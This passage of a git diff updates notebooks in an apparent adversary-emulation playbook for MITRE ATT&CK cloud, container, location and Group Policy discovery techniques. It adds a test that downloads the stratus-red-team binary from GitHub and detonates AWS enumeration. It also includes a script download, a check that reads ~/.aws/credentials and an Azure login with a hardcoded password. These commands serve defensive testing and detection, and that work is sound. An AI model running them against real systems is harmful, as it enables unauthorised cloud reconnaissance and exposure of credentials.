Ignore -Force | Out-Null\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/Az/Get-AzDomainInfo.ps1\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzDomainInfo.ps1\"\n\n```\n##### Description: The Az module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f8452ea0", + "id": "dcc3dea2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1526 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "810f7ae0", + "id": "db5e5c65", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nimport-module \"$env:temp\\Get-AzDomainInfo.ps1\"\n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzAccount -Credential $Credential | out-null\nGet-AzDomainInfo -folder $env:temp\\T1526Test1 -subscription \"None\" -verbose\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzDomainInfo.ps1\"\n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzAccount -Credential $Credential | out-null\nGet-AzDomainInfo -folder $env:temp\\T1526Test1 -subscription \"None\" -verbose\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c28a2ee9", + "id": "a13b9409", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1526 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c63cd4e5", + "id": "7d1d77f0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1526Test1 -recurse -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d2da15c2", + "id": "503bb5ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1526 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1f0afbee", + "id": "6567b6ca", "metadata": {}, "source": "## Detection\nCloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment." }, { "cell_type": "markdown", - "id": "441de21d", + "id": "b980ea03", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Network \n Create a target network with a set of target systems, for the purpose of active defense.\n \n\n Decoy networks are comprised of multiple computing resources that can be used for defensive or deceptive purposes. A decoy network can be used to safely perform dynamic analysis of suspected malicious code. A defender can also use a specially crafted decoy network to perform adversary engagement. \n#### Opportunity\nThere is an opportunity to introduce services in a decoy network to determine if an adversary notices and tries to learn more about them.\n#### Use Case\nA defender can use a decoy network and seed it with cloud services to see how an adversary might exploit those resources.\n#### Procedures\nCreate an isolated network populated with decoy systems that can be used to study an adversary's tactics, techniques, and procedures (TTPs).\nUse a segregated network to visit a compromised site. If the machine becomes infected, allow the machine to remain on with internet access to see if an adversary engages and takes action on the system.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1538.ipynb b/playbook/tactics/discovery/T1538.ipynb index a030e3d3..669c3fc5 100644 --- a/playbook/tactics/discovery/T1538.ipynb +++ b/playbook/tactics/discovery/T1538.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "16056fe9", + "id": "672b16b1", "metadata": {}, "source": "# T1538 - Cloud Service Dashboard\nAn adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests." }, { "cell_type": "markdown", - "id": "85828619", + "id": "35f40c95", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "10daecc2", + "id": "94c1e091", "metadata": {}, "source": "## Detection\nMonitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)" }, { "cell_type": "markdown", - "id": "5120866c", + "id": "cb1251e0", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nIn order to prolong an adversary engagement operation or enable detections, there is an opportunity to introduce credentials to an adversary that you want them to collect and use.\n#### Use Case\nA defender can plant decoy credentials across an array of locations to increase the chances of an adversary finding and using them.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1580.ipynb b/playbook/tactics/discovery/T1580.ipynb index 6c1c91c6..433ccae2 100644 --- a/playbook/tactics/discovery/T1580.ipynb +++ b/playbook/tactics/discovery/T1580.ipynb @@ -2,25 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "7016928f", + "id": "3a11d452", "metadata": {}, "source": "# T1580 - Cloud Infrastructure Discovery\nAn adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves." }, { "cell_type": "markdown", - "id": "6d6f690a", + "id": "d890a89e", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea0fb0ad", + "id": "4576b542", + "metadata": {}, + "source": "### Atomic Test #1 - AWS - EC2 Enumeration from Cloud Instance\nThis atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/\n\n**Supported Platforms:** linux, macos, iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif test -f \"$PathToAtomicsFolder/T1580/src/stratus\"; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" = \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep -i Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1580/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1580/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1580/src/\nelif [ \"$(expr substr $(uname) 1 5)\" = \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep -i linux_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1580/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1580/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1580/src/\nfi \n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install the aws-cli and configure your AWS default profile using: aws configure\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f172c53c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1580 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f196e6e7", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nexport AWS_REGION=us-west-2\ncd $PathToAtomicsFolder/T1580/src\necho \"Stratus: Start Warmup.\"\n./stratus warmup aws.discovery.ec2-enumerate-from-instance\necho \"Stratus: Start Detonate.\"\n./stratus detonate aws.discovery.ec2-enumerate-from-instance\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c55d00ce", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1580 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "171a6bdd", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ncd $PathToAtomicsFolder/T1580/src\necho \"Stratus: Start Cleanup.\"\n./stratus cleanup aws.discovery.ec2-enumerate-from-instance\necho \"Removing Stratus artifacts from local machine.\"\nrm -rf stratus*\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3e276653", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1580 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "833ec917", "metadata": {}, "source": "## Detection\nEstablish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones." }, { "cell_type": "markdown", - "id": "347cd604", + "id": "3d6a76fb", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to introduce decoy information, users, systems, etc. to influence an adversary's future actions.\n#### Use Case\nA defender can deploy a diverse set of decoy systems to impact an adversary's level of effort during recon activity.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1613.ipynb b/playbook/tactics/discovery/T1613.ipynb index 6c79d0a9..930aa979 100644 --- a/playbook/tactics/discovery/T1613.ipynb +++ b/playbook/tactics/discovery/T1613.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "64130c16", + "id": "d88a4f43", "metadata": {}, "source": "# T1613 - Container and Resource Discovery\nAdversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. " }, { "cell_type": "markdown", - "id": "9b7d2ec6", + "id": "9c8f4e6d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "48bca5bc", + "id": "c9500856", "metadata": {}, "source": "### Atomic Test #1 - Container and ResourceDiscovery\nAdversaries may attempt to discover containers and other resources that are available within a containers environment.\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3dc3ca5d", + "id": "8e95c199", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1613 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "73364de2", + "id": "4c9899b0", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "839d892e", + "id": "399cee5c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1613 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c56270a9", + "id": "57910d0e", "metadata": {}, "source": "#### Cleanup: \n```sh\ndocker stop t1613_container\ndocker rmi -f t1613_container```" }, { "cell_type": "code", "execution_count": null, - "id": "6ae3b013", + "id": "7ddf41b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1613 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0751a3b8", + "id": "5b3610fb", "metadata": {}, "source": "## Detection\nEstablish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. " } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1614.001.ipynb b/playbook/tactics/discovery/T1614.001.ipynb index 2cd1f068..e321eac2 100644 --- a/playbook/tactics/discovery/T1614.001.ipynb +++ b/playbook/tactics/discovery/T1614.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f25c285e", + "id": "8a4dcb36", "metadata": {}, "source": "# T1614.001 - System Language Discovery\nAdversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable." }, { "cell_type": "markdown", - "id": "6b55b1ad", + "id": "06f1be9b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d73c0d0d", + "id": "5ef8e176", "metadata": {}, "source": [ "### Atomic Test #1 - Discover System Language by Registry Query", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e2d08a91", + "id": "b03cf6d5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d1a5ef03", + "id": "8545f53a", "metadata": {}, "source": [ "### Atomic Test #2 - Discover System Language with chcp", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ba568c0f", + "id": "7115fd32", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4e63f04f", + "id": "67e38501", "metadata": {}, "source": [ "### Atomic Test #3 - Discover System Language with locale", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "30638ce1", + "id": "54376eb6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9926f93e", + "id": "8eb1f3f3", "metadata": {}, "source": [ "### Atomic Test #4 - Discover System Language with localectl", @@ -87,28 +87,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3c144c62", + "id": "c5977536", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "da21ce46", + "id": "36c580e4", "metadata": {}, "source": "### Atomic Test #5 - Discover System Language by locale file\nIdentify System language with the by reading the locale configuration file.\n\nThe locale configuration file contains the `LANG` environment variable which\nwill contain the 5 character locale that can be looked up to correlate the\nlanguage and territory.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check the location of the locale configuration file.\n\n##### Check Prereq Commands:\n```sh\n[ -f /etc/locale.conf ] || [ -f /etc/default/locale ] && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Test only valid for systems that have locale file\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "45542647", + "id": "01488af3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3baf7400", + "id": "93af6451", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -118,28 +118,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4454c9a8", + "id": "9ab8d11b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "bd5e3913", + "id": "961d6298", "metadata": {}, "source": "### Atomic Test #6 - Discover System Language by Environment Variable Query\nIdentify System language by checking the environment variables\n\nUpon successful execution, the 5 character locale result can be looked up to\ncorrelate the language and territory. Environment query commands are likely\nto run with a pattern match command e.g. `env | grep LANG`\n\nNote: `env` and `printenv` will usually provide the same results. `set` is\nalso used as a builtin command that does not generate syscall telemetry but\ndoes provide a list of the environment variables.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if printenv command exists on the machine\n\n##### Check Prereq Commands:\n```sh\n[ -x \"$(command -v printenv)\" ] && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\necho \"printenv command does not exist\"\nexit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3acee4a2", + "id": "9a572e6a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a8c5ac65", + "id": "ee704521", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -149,14 +149,14 @@ { "cell_type": "code", "execution_count": null, - "id": "8fddf3ba", + "id": "d1c0b12d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1614.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "5831e6b7", + "id": "8f221a15", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry." } @@ -164,13 +164,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1614.ipynb b/playbook/tactics/discovery/T1614.ipynb index 0c55e321..5ab400b0 100644 --- a/playbook/tactics/discovery/T1614.ipynb +++ b/playbook/tactics/discovery/T1614.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a00e28c9", + "id": "457cdf57", "metadata": {}, "source": "# T1614 - System Location Discovery\n\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)" }, { "cell_type": "markdown", - "id": "a4d06087", + "id": "bc22bacc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c5ec1830", + "id": "27b0e8a5", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1615.ipynb b/playbook/tactics/discovery/T1615.ipynb index ca0b88b3..eebe3374 100644 --- a/playbook/tactics/discovery/T1615.ipynb +++ b/playbook/tactics/discovery/T1615.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8923e397", + "id": "96ee4b1d", "metadata": {}, - "source": "# T1615 - Group Policy Discovery\nAdversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit." + "source": "# T1615 - Group Policy Discovery\nAdversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit." }, { "cell_type": "markdown", - "id": "5d103e25", + "id": "e90093f3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "77561a31", + "id": "1ba7edcc", "metadata": {}, "source": [ "### Atomic Test #1 - Display group policy information via gpresult", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2a357a1d", + "id": "c1b8c659", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8ef7cf9b", + "id": "2a05c32f", "metadata": {}, "source": [ "### Atomic Test #2 - Get-DomainGPO to display group policy information via PowerView", @@ -49,14 +49,14 @@ { "cell_type": "code", "execution_count": null, - "id": "568d7129", + "id": "b0ceb833", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "60c5e404", + "id": "21ec8f3c", "metadata": {}, "source": [ "### Atomic Test #3 - WinPwn - GPOAudit", @@ -69,14 +69,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d94bf906", + "id": "385c497d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d3c00769", + "id": "56f6f476", "metadata": {}, "source": [ "### Atomic Test #4 - WinPwn - GPORemoteAccessPolicy", @@ -89,28 +89,28 @@ { "cell_type": "code", "execution_count": null, - "id": "871aeebb", + "id": "b86ed065", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "88fd5ac5", + "id": "d1b8f4d1", "metadata": {}, "source": "### Atomic Test #5 - MSFT Get-GPO Cmdlet\nThe Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Add Rsat.ActiveDirectory.DS\n##### Check Prereq Commands:\n```powershell\nif(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }\n```\n##### Get Prereq Commands:\n```powershell\nAdd-WindowsCapability -online -Name 